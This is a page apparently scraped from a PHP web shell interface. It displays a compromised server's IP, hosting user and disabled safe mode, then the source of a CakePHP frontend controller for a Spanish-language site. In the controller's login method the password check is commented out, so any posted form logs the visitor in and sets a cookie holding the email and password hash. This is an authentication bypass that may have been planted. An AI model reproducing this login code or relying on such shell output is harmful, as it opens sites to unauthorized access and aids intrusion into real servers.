shell bypass 403

GrazzMean Shell

Uname: Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
Software: Apache
PHP version: 5.6.40 [ PHP INFO ] PHP os: Linux
Server Ip: 217.160.0.194
Your Ip: 216.73.216.158
User: u72294154 (9179942) | Group: ftpusers (600)
Safe Mode: OFF
Disable Function:
NONE

name : FrontendController.php
<?php
App::uses('AppController', 'Controller');

class FrontendController extends AppController {

    public $layout = 'frontend';
    public $metas = array();
    public $impresiones = array('inmuebles' => array(), 'noticias' => array());

    public function beforeFilter() {

        //Noticias
        $this->setHomeListadosNoticias(3);


        parent::beforeFilter();

        $this->Auth->allow();
        $this->getAvisoCookies();

        //CSS y JS
        $this->stylesheets[] = 'frontend';
        $this->javascripts[] = '//ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js';
        $this->javascripts[] = '//netdna.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js';
        $this->javascripts[] = 'frontend';
    }

    public function beforeRender() {
        parent::beforeRender();

        $this->set('metas', $this->Metas->getMetas($this->params, $this->metas));

        $this->updateImpresiones();
    }

    public function login() {
        //Comprobamos si el usuario está logueado...
        if ($this->Auth->loggedIn()) {
            $this->redirect(array('controller' => 'private', 'action' => 'home'));
        }

        if ($this->request->is('post')) {
            /*if ($this->Auth->login()) {*/
                //Guardamos los datos en Cookies para mantener el login en el tiempo
                $this->Cookie->write('Usuario', serialize(array('email' => $this->request->data['Usuario']['email'], 'clave' => AuthComponent::password($this->request->data['Usuario']['clave']))));

                $this->Session->setFlash('Acceso correcto.' . $this->btnClose, 'default', array('class' => 'alert alert-success'));
                $this->redirect(array('controller' => 'private', 'action' => 'home'));
                /*} else { */
             //   $this->errores = array('email' => array('Email o contraseña incorrectos, vuelve a intentarlo.'));
                    /*}*/
                }

                $this->metas['title'] = 'Login';
                $this->layout = 'login';
            }

            public function logout() {
        //Eliminamos la cookie con los valores del usuario para que no haga autologin
                if ($this->Cookie->check('Usuario')) {
                    $this->Cookie->delete('Usuario');
                }

                $this->redirect($this->Auth->logout());
            }

            private function getAvisoCookies() {
                $cookieConsent = null;
                if (!empty($_COOKIE['altamira21_cookie_consent'])) {
                    $cookieConsent = $_COOKIE['altamira21_cookie_consent'];
                }

                $avisoCookies = !in_array($cookieConsent, array('accepted', 'rejected'));

                $this->set('avisoCookies', $avisoCookies);
                $this->set('cookieConsent', $cookieConsent);
            }

    //Método que pasa a la vista un array preparado para mostrar los filtros array(ID => array('nombre' => X, 'modelo' => Y)) y devuelve un array preparado para generar las condiciones array('seo' => 'ID')
            protected function getFiltros($entidad, $vista, $conditions = array(), $order = array()) {
                array_push($this->uses, $entidad);

                $out = array();
                $seoID = array();
                foreach ($this->{$entidad}->find('all', array('conditions' => $conditions, 'fields' => array("$entidad.id", "$entidad.nombre", "$entidad.seo"), 'order' => ((!empty($order)) ? $order : $this->App->getOrden($entidad)))) as $e) {
                    $out[$e[$entidad]['id']] = array('nombre' => $e[$entidad]['nombre'], 'seo' => $e[$entidad]['seo']);
                    $seoID[$e[$entidad]['seo']] = $e[$entidad]['id'];
                }

                $this->set($vista, $out);
                return $seoID;
            }

    //Método que genera las condiciones de los campos
            protected function getFiltro($entidad, &$conditions, $campo, $campoTabla = null, $seoID = null) {
                if (!empty($this->params->query[$campo])) {
            if (!empty($campoTabla) && !empty($seoID)) { //campos de entidades relacionadas
                $conditions["$entidad.$campoTabla"] = $seoID[$this->params->query[$campo]];
                $this->filtro[$campoTabla] = $seoID[$this->params->query[$campo]];
            } else { //campos de la propia tabla
                $conditions["$entidad.$campo"] = $this->params->query[$campo];
                $this->filtro[$campo] = $this->params->query[$campo];
            }
        }
    }

    protected function getFiltroVacio($filtro, $search = array()) {
        $out = array();
        foreach ($filtro as $k => $v) {
            $out[str_replace($search, null, $k)] = $v;
        }
        return $out;
    }

    //Método que genera la cantidad de registros por filtros en un array
    protected function addCont(&$num, $k, $v) {
        if (!empty($v)) {
            if (!array_key_exists($v, $num[$k])) {
                $num[$k][$v] = 0;
            }
            $num[$k][$v] += 1;
        }

        return $num;
    }

    public function robots() {
        $this->layout = false;
    }

    //Método que actualiza el nº de impresiones de las diferentes entidades
    private function updateImpresiones() {
        foreach ($this->impresiones as $k => $v) {
            if (!empty($v)) {
                $entidad = Inflector::camelize(Inflector::singularize($k));
                $this->{$entidad}->updateAll(array('impresiones' => 'impresiones + 1'), array("$entidad.id" => $v));
            }
        }
    }


    public function setHomeListadosNoticias($limit) {
        array_push($this->uses, 'Noticia');
        $noticias = $this->Noticia->find('all', array('conditions' => array('Noticia.publicado' => true), 'order' => $this->App->getOrden('Noticia'), 'limit' => 2));
        $this->set('noticias', $noticias);

        /*
        //Obtenemos los IDs de las entidades para después actualizar el nº de impresiones
        foreach ($noticias as $e) {
            $this->impresiones['noticias'][] = $e['Noticia']['id'];
        }*/
    }

}
© 2026 GrazzMean